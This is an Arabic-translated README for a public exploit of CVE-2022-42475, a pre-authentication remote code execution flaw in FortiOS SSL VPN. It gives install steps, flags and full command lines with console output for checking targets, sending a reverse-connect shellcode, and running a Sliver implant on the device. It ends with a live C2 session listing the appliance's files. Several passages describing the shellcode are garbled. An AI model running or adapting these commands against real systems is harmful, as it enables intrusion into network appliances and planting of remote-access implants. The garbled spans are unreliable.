
استغلال لـ CVE-2022-42475، وهو RCE قبل المصادقة في FortiOS SSL VPN. يدعم التحقق والتحقق الحميد والاستغلال الكامل مع shellcode للاتصال العكسي و stager ثنائي مشفر للوصول عن بُعد.
هذا هو الاستغلال لتدوينة المدونة هنا: https://bishopfox.com/blog/exploit-cve-2022-42475
هذه النسخة من الاستغلال لن تعمل بدون قيامك، أيها الهاكر، بتوفير عناوين الذاكرة اللازمة لأدوات ROP، إلخ. العمل المطلوب لتحديد هذه البيانات سري ومملوك لشركة Bishop Fox ولن أتمكن (ولا يمكنني) نشره مع هذا الاستغلال. أثق بأنك تتفهم!
execve(binary_file).ملاحظة: حاليًا، وضع "التحقق فقط" يعمل عبر جميع الإصدارات المعروفة من FortiOS. ومع ذلك، تعمل عمليات الاستغلال فقط ضد FortiOS 6.0.4 على أجهزة 100D. لم أعد أعمل في BF وبالتالي لا يمكنني نشر الاستغلال الموسع الذي يدعم حوالي 18 ألف هدف.
pip3 install PyCrypto
pip3 install pycryptodome
لن يقوم هذا بأي محاولة لاستغلال الثغرة، بل يقوم بتفعيلها كتعطل (يعيد تشغيل daemon SSL VPN عن بعد تلقائيًا وفوريًا). يتم اكتشاف التعطل بطريقة استرشادية وإبلاغ المشغل به.
قم بتشغيله باستخدام علامة التحقق -v:
$ ./x.py -t 192.168.0.10 -p 8443 -v
--[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
--[ Bishop Fox Cosmos Team X ]--
[+] وضع التحقق فقط. لا يوجد RCE.
[>] اختبار ما إذا كان الهدف ضعيفًا (قد يستغرق 10 ثوانٍ)
[+] يبدو أن الهدف '192.168.0.10:8443' ضعيف
سيؤدي هذا إلى تفعيل الثغرة، ونشر سلسلة ROP، والانتقال إلى الشيل كود. الشيل كود غير ضار ويعمل كالتالي:
0xbf/tmp/x على جهاز FortiGate0xbf واحدًا آخر إلى الاستغلال إذا كان فك تشفير الحمولة ناجحًاالعلامات:
-t الهدف host/IP
-p منفذ الهدف
-e وضع الاستغلال
-c وضع الاتصال العكسي فقط
-H و -P IP:port الخاص بالمشغل (مطلوب)
-s إصدار البرنامج من FortiOS (مطلوب)
-m طراز الجهاز الذي يشغل FortiOS
-d تفعيل التصحيح
مثال حيث نختار كلاً من إصدار البرنامج 6.0.4 وطراز الجهاز 100D:
┌──(kali㉿kali)-[/mnt/hgfs/fortios/CVE-2022-42475]
└─$ sudo ./x.py -t 192.168.0.10 -p 8443 -e -c -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D 130 ⨯
--[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
--[ Bishop Fox Cosmos Team X ]--
[+] توليد مفتاح AES عشوائي 128 بت لتشفير الحمولة
[+] تشفير الحمولة...
[+] استخدام شيل كود مخبأ. قم بتعديل ./x.py (ابحث عن 'shellcode.s') لإجبار التحديث.
[+] تم التهيئة للاتصال العكسي إلى 192.168.0.99:443
[+] بدء مستمع الحمولة المشفرة...
[+] التحضير للاستغلال...
[+] إرسال الطلب!
[+] استيراد الأدوات من 'exploit_data.json'
[<] المستمع ملزم بالمنفذ 443، في انتظار الاتصال العكسي...
[+] التحقق من الأدوات...
[!] لم يتم تعريف نماذج أجهزة وظيفية للإصدار FortiOS '5.2.14'. تمت الإزالة.
[!] لم يتم تعريف نماذج أجهزة وظيفية للإصدار FortiOS '5.6.9'. تمت الإزالة.
[+] تم استيراد 797 هدفًا:
[-] 6.0.4 [ 1 هدف ] <=== 100D
[-] 5.2.14 [ 47 هدفًا ]
[-] 5.6.9 [ 60 هدفًا ]
[-] 6.0.13 [ 68 هدفًا ]
[-] 6.0.14 [ 67 هدفًا ]
[-] 6.0.15 [ 58 هدفًا ]
[-] 6.0.8 [ 67 هدفًا ]
[-] 6.2.11 [ 69 هدفًا ]
[-] 6.2.7 [ 75 هدفًا ]
[-] 6.4.10 [ 71 هدفًا ]
[-] 6.4.2 [ 62 هدفًا ]
[-] 6.4.3 [ 61 هدفًا ]
[-] 6.4.6 [ 73 هدفًا ]
[-] 6.4.9 [ 72 هدفًا ]
[-] 7.0.4 [ 53 هدفًا ]
[+] بدء الاستغلال
[<] طلب وارد من 192.168.0.10:22470
[<] تم استلام حزمة hello من الهدف!! رقم الطراز: 100D
[<] إرسال حمولة مشفرة بحجم 36 بايت
[<] انتهى إرسال الحمولة (36 بايت)، في انتظار الرد...
[<] تم استلام الرد المتوقع ('100D') من 192.168.0.10
[<] الهدف ضعيف بثقة 100%.
[+] انتهى كل شيء!
إذا حذفت -m لاختيار طراز الجهاز، فسيقوم الاستغلال بتجربة جميع الأهداف الخاصة بإصدار البرنامج المحدد بالقوة.
0xbf/tmp/x0xbf إلى الاستغلالexecve("/tmp/x")العلامات:
-t الهدف host/IP
-p منفذ الهدف
-e وضع الاستغلال
-f filename /path/to/binary/to/execve/on/target
-H و -P IP:port الخاص بالمشغل للاتصال العكسي (مطلوب)
-s إصدار البرنامج من FortiOS (مطلوب)
-m طراز الجهاز الذي يشغل FortiOS
-d تفعيل التصحيح
Sliver:
carl@pluto:~$ ./sliver-server_linux
.------..------..------..------..------..------.
|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |
| :/\: || :/\: || (\/) || :(): || (\/) || :(): |
| :\/: || (__) || :\/: || ()() || :\/: || ()() |
| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|
`------'`------'`------'`------'`------'`------'
All hackers gain living weapon
[*] Server v1.5.34 - d2a6fa8cd6cc029818dd8d9e4a039bdea8071ca2
[*] Welcome to the sliver shell, please type 'help' for options
[server] sliver > mtls -l 8888
[*] Starting mTLS listener ...
[*] Successfully started job #1
الاستغلال:
$ ./x.py -t 192.168.0.10 -p 8443 -e -f implant5 -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D
--[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
--[ Bishop Fox Cosmos Team X ]--
[+] سيحاول الاستغلال تنفيذ execve("implant5") على الهدف
...
[<] الهدف ضعيف بثقة 100%.
[+] انتهى كل شيء.
وفي Sliver:
[*] Session d8d5344b implant5 - 192.168.0.10:3500 (Burnet) - linux/amd64 - Mon, 06 Mar 2023 22:18:30 MST
[server] sliver > use d8d5344b-c666-4c60-9e33-5ce50eb82cad
[*] Active session implant5 (d8d5344b-c666-4c60-9e33-5ce50eb82cad)
[server] sliver (implant5) > whoami
Logon ID: <err>
[server] sliver (implant5) > ls
/ (19 items, 10.0 KiB)
======================
-rw-r--r-- .ash_history 590 B Tue Jan 31 11:31:57 +0000 2023
drwxr-xr-x bin <dir> Tue Jan 31 11:04:35 +0000 2023
drwxr-xr-x data <dir> Tue Jan 31 05:24:10 +0000 2023
drwxr-xr-x data2 <dir> Tue Jan 31 11:40:01 +0000 2023
drwxr-xr-x dev <dir> Tue Jan 31 05:26:16 +0000 2023
Lrwxrwxrwx etc -> data/etc 8 B Mon Jan 07 18:03:23 +0000 2019
Lrwxrwxrwx fortidev -> / 1 B Mon Jan 07 18:03:23 +0000 2019
Lrwxrwxrwx init -> /sbin/init 10 B Mon Jan 07 18:03:23 +0000 2019
drwxr-xr-x lib <dir> Mon Jan 07 18:03:30 +0000 2019
Lrwxrwxrwx lib64 -> lib 3 B Mon Jan 07 18:03:23 +0000 2019
drwxr-xr-x migadmin <dir> Tue Jan 31 05:23:26 +0000 2023
dr-xr-xr-x proc <dir> Tue Jan 31 05:23:13 +0000 2023
drwx------ root <dir> Mon Jan 07 17:17:34 +0000 2019
drwxr-xr-x sbin <dir> Tue Jan 31 05:23:27 +0000 2023
drwxr-xr-x security-rating <dir> Mon Jan 07 18:01:04 +0000 2019
drwxr-xr-x sys <dir> Tue Jan 31 05:23:27 +0000 2023
dtrwxrwxrwx tmp <dir> Tue Jan 31 11:40:01 +0000 2023
drwxr-xr-x usr <dir> Tue Jan 31 05:23:27 +0000 2023
drwxr-xr-x var <dir> Tue Jan 31 05:24:07 +0000 2023
لاحظ أن Sliver يُرجع <err> لأن FortiOS هو نوعًا ما Linux إلى حد كبير، ولا يعمل دائمًا بالطريقة التي تتوقعها. هذه مشكلة مع FortiOS، وليس Sliver.
لم أعد أعمل في Bishop Fox لذا ستحتاج إلى متابعة github الخاص بـ BF للحصول على تحديثات حول هذا.